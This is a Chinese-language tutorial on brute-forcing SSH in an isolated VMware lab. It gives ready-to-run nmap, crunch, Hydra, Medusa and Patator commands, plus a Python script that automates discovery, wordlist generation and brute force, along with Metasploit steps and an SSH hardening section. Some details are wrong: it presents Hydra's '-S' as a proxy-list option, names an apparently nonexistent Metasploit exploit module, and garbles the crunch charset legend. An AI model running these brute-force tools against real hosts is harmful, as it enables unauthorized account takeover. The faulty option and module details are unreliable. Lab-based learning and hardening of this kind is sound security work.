Kali实战:安全复现SSH渗透测试全流程解析
在虚拟化环境中进行网络安全实验是每位技术爱好者提升实战能力的必经之路。今天我们将深入探讨如何在一个隔离的VMware环境中,使用Kali Linux对CentOS系统的SSH服务进行完整的渗透测试流程复现。这不仅是CTF选手的必备技能,更是网络安全学习者理解防御机制的重要途径。
1. 实验环境搭建与基础准备
1.1 虚拟化环境配置
搭建安全的实验环境是首要任务。推荐使用VMware Workstation Pro 17创建两个独立虚拟机:
- 攻击机:Kali Linux 2023.4(最新滚动更新版)
- 靶机:CentOS Stream 9(最小化安装)
网络配置建议采用"仅主机模式"(Host-Only),确保实验网络与物理主机完全隔离。关键配置参数如下:
| 设备类型 | 系统版本 | 内存分配 | 磁盘空间 | 网络适配器 |
|---|---|---|---|---|
| Kali Linux | 2023.4 | ≥4GB | ≥50GB | Host-Only |
| CentOS | Stream 9 | ≥2GB | ≥30GB | Host-Only |
注意:实验前务必确认VMware Tools已正确安装,保证剪贴板共享和文件拖拽功能正常,这将大幅提升操作效率。
1.2 基础服务配置
在CentOS靶机上需要确保SSH服务正常运行:
# 检查SSH服务状态 systemctl status sshd # 若未运行则启动服务 sudo systemctl enable --now sshd # 验证22端口监听状态 ss -tulnp | grep 22同时建议在Kali上安装增强工具包:
sudo apt update && sudo apt install -y \ seclists \ exploitdb \ metasploit-framework \ responder \ bloodhound2. 网络探测与信息收集
2.1 存活主机发现技术
在假设已知目标网段为192.168.142.0/24的情况下,我们可以采用多种方式进行主机发现。以下是比单纯ping扫描更高效的进阶方法:
ARP扫描方案:
sudo arp-scan -l --interface=eth0 --localnet综合发现脚本(保存为discovery.sh):
#!/bin/bash NETWORK="192.168.142.0/24" echo "[*] Starting ICMP Ping Sweep..." nmap -sn $NETWORK -oG ping-sweep.gnmap echo "[*] Running ARP Discovery..." arp-scan -l --interface=eth0 | grep -E '([0-9]{1,3}\.){3}[0-9]{1,3}' echo "[*] Performing TCP SYN Scan..." nmap -PS22,80,443 -T4 $NETWORK -oG syn-scan.gnmap # 结果合并与去重 cat *.gnmap | awk '/Up$/{print $2}' | sort -u > live-hosts.txt echo "[+] Active hosts saved to live-hosts.txt"该脚本执行后,会在当前目录生成live-hosts.txt文件,包含所有存活主机IP。
2.2 深度服务探测技术
确定目标主机后,使用Nmap进行深度扫描:
sudo nmap -sV -sC -O -p22,80,443,3306,3389 --script=vuln -T4 192.168.142.130 -oA centos-scan关键参数解析:
-sV:服务版本探测-sC:默认脚本扫描-O:操作系统检测-p:指定端口范围--script=vuln:运行漏洞检测脚本-oA:输出所有格式报告
扫描结果分析要点:
- SSH服务版本信息(如OpenSSH 8.4p1)
- 操作系统内核版本
- 开放的非常规端口
- 漏洞脚本检测出的潜在弱点
3. 密码字典工程与优化
3.1 Crunch字典生成进阶技巧
基础密码字典生成:
crunch 6 6 123456 -o passwords.txt更专业的字典生成策略:
组合字典生成:
crunch 8 8 -t @,%%%%^^ -o complex_dict.txt其中:
@代表小写字母,代表大写字母%代表数字^代表特殊字符
基于规则的字典(假设知道密码包含"admin"):
crunch 10 10 -t admin%%%% -o admin_variants.txt3.2 字典优化与合并
实际渗透测试中,建议组合多种字典源:
- 下载知名字典库:
wget https://github.com/danielmiessler/SecLists/archive/master.zip unzip master.zip- 字典合并与去重:
cat passwords.txt admin_variants.txt \ SecLists-master/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt \ | sort -u > final_wordlist.txt- 字典优化(按长度过滤):
awk 'length($0) >=6 && length($0) <=12' final_wordlist.txt > optimized_list.txt4. 多维度SSH暴力破解实战
4.1 Hydra高级参数应用
基础破解命令:
hydra -l root -P passwords.txt ssh://192.168.142.130 -t 4 -vV进阶参数组合:
hydra -L users.txt -P optimized_list.txt \ -e nsr -u -W 3 -f \ -o results.txt \ -M targets.txt \ ssh参数详解:
-e nsr:尝试空密码、用户名作为密码、反向用户名-u:尝试每个用户的所有密码(默认是每个密码的所有用户)-W 3:每次尝试后等待3秒-f:找到第一个有效凭证后停止-o:保存结果到文件-M:多目标文件(每行一个IP)
4.2 破解过程优化技巧
速率控制:避免触发目标系统的防御机制
hydra -l root -P dict.txt ssh://192.168.142.130 -t 2 -w 10断点续传:
hydra -l root -P dict.txt -R ssh://192.168.142.130代理与匿名(仅限合法测试):
hydra -l root -P dict.txt -s 2222 -S proxies.txt ssh://target.com
4.3 替代工具与技术
除了Hydra,还有其他优秀工具可供选择:
Medusa示例:
medusa -h 192.168.142.130 -u root -P dict.txt -M ssh -t 6Patator(更精准的控制):
patator ssh_login host=192.168.142.130 user=root password=FILE0 0=dict.txt \ -x ignore:mesg='Authentication failed.'5. 防御措施与安全加固
5.1 SSH服务基础加固
在CentOS靶机上进行防御配置:
sudo vim /etc/ssh/sshd_config关键配置修改:
Port 2222 # 修改默认端口 PermitRootLogin no # 禁止root直接登录 MaxAuthTries 3 # 最大尝试次数 LoginGraceTime 1m # 登录宽限时间 AllowUsers regular_user # 只允许特定用户 PasswordAuthentication no # 禁用密码认证重启服务生效:
sudo systemctl restart sshd5.2 高级防御技术
Fail2Ban安装配置:
sudo dnf install -y fail2ban sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local编辑配置文件:
[sshd] enabled = true port = 2222 filter = sshd logpath = /var/log/secure maxretry = 3 bantime = 1h启动服务:
sudo systemctl enable --now fail2ban证书认证配置:
# Kali生成密钥对 ssh-keygen -t ed25519 # 复制公钥到CentOS ssh-copy-id -i ~/.ssh/id_ed25519.pub -p 2222 user@192.168.142.1306. 实验扩展与深入研究
6.1 自动化渗透测试脚本
将整个流程整合为自动化脚本:
#!/usr/bin/env python3 import subprocess import time TARGET = "192.168.142.130" WORDLIST = "optimized_list.txt" def run_cmd(cmd): process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) output, _ = process.communicate() return output.decode() # 主机发现 print("[*] Discovering hosts...") run_cmd(f"nmap -sn 192.168.142.0/24 -oN scan.txt") # 服务扫描 print("[*] Scanning services...") run_cmd(f"nmap -sV -sC -p22 {TARGET} -oA {TARGET}_scan") # 字典生成 print("[*] Generating wordlist...") run_cmd(f"crunch 8 8 123456abcdef -o {WORDLIST}") # 暴力破解 print("[*] Starting brute force...") result = run_cmd(f"hydra -l root -P {WORDLIST} {TARGET} ssh -t 4 -vV") print(result)6.2 漏洞利用进阶
如果扫描发现特定版本漏洞(如OpenSSH 8.4p1漏洞),可进行深入研究:
- 搜索漏洞利用代码:
searchsploit openssh 8.4- Metasploit框架利用:
msfconsole use exploit/linux/ssh/openssh_version set RHOSTS 192.168.142.130 exploit- 手动漏洞验证:
python3 exploit.py -t 192.168.142.130 -p 22在实验环境中,我经常发现初学者容易忽略日志监控的重要性。实际上,实时观察靶机的/var/log/secure日志可以直观理解攻击者的行为模式,这对构建防御策略至关重要。建议在另一个终端窗口持续监控:
tail -f /var/log/secure | grep sshd